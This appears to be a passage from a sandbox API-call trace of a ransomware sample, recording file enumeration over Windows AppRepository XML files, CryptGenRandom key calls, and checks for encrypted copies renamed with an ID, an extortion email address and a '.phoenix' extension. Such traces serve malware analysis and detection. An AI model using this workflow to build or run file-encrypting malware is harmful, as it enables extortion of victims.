	[0250.778] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.779] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=29291) returned 1
	[0250.779] CloseHandle (hObject=0x2d4) returned 1
	[0250.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.779] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.779] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.779] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.779] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3407) returned 1
	[0250.779] CloseHandle (hObject=0x2d4) returned 1
	[0250.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.780] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.780] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.780] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.780] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1815) returned 1
	[0250.780] CloseHandle (hObject=0x2d4) returned 1
	[0250.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0250.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.780] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.780] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.780] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.781] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=841) returned 1
	[0250.781] CloseHandle (hObject=0x2d4) returned 1
	[0250.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.781] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.781] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.781] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.781] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=841) returned 1
	[0250.781] CloseHandle (hObject=0x2d4) returned 1
	[0250.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.782] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.782] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.782] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.782] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4084) returned 1
	[0250.782] CloseHandle (hObject=0x2d4) returned 1
	[0250.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.783] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.783] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16535) returned 1
	[0250.783] CloseHandle (hObject=0x2d4) returned 1
	[0250.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.784] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.784] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.784] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16493) returned 1
	[0250.784] CloseHandle (hObject=0x2d4) returned 1
	[0250.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.784] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.784] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.784] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.785] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=927) returned 1
	[0250.785] CloseHandle (hObject=0x2d4) returned 1
	[0250.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.785] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.785] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.785] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.785] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16493) returned 1
	[0250.785] CloseHandle (hObject=0x2d4) returned 1
	[0250.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.786] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.786] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.786] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.786] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=5559) returned 1
	[0250.786] CloseHandle (hObject=0x2d4) returned 1
	[0250.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.786] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.786] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.786] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.787] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2278) returned 1
	[0250.787] CloseHandle (hObject=0x2d4) returned 1
	[0250.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0250.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.787] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.787] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.787] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_1.10.22012.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_1.10.22012.0_neutral_split.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.787] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=921) returned 1
	[0250.787] CloseHandle (hObject=0x2d4) returned 1
	[0250.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_1.10.22012.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_1.10.22012.0_neutral_split.scale-150_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_1.10.22012.0_neutral_split.scale-150_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.messaging_1.10.22012.0_neutral_split.scale-150_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
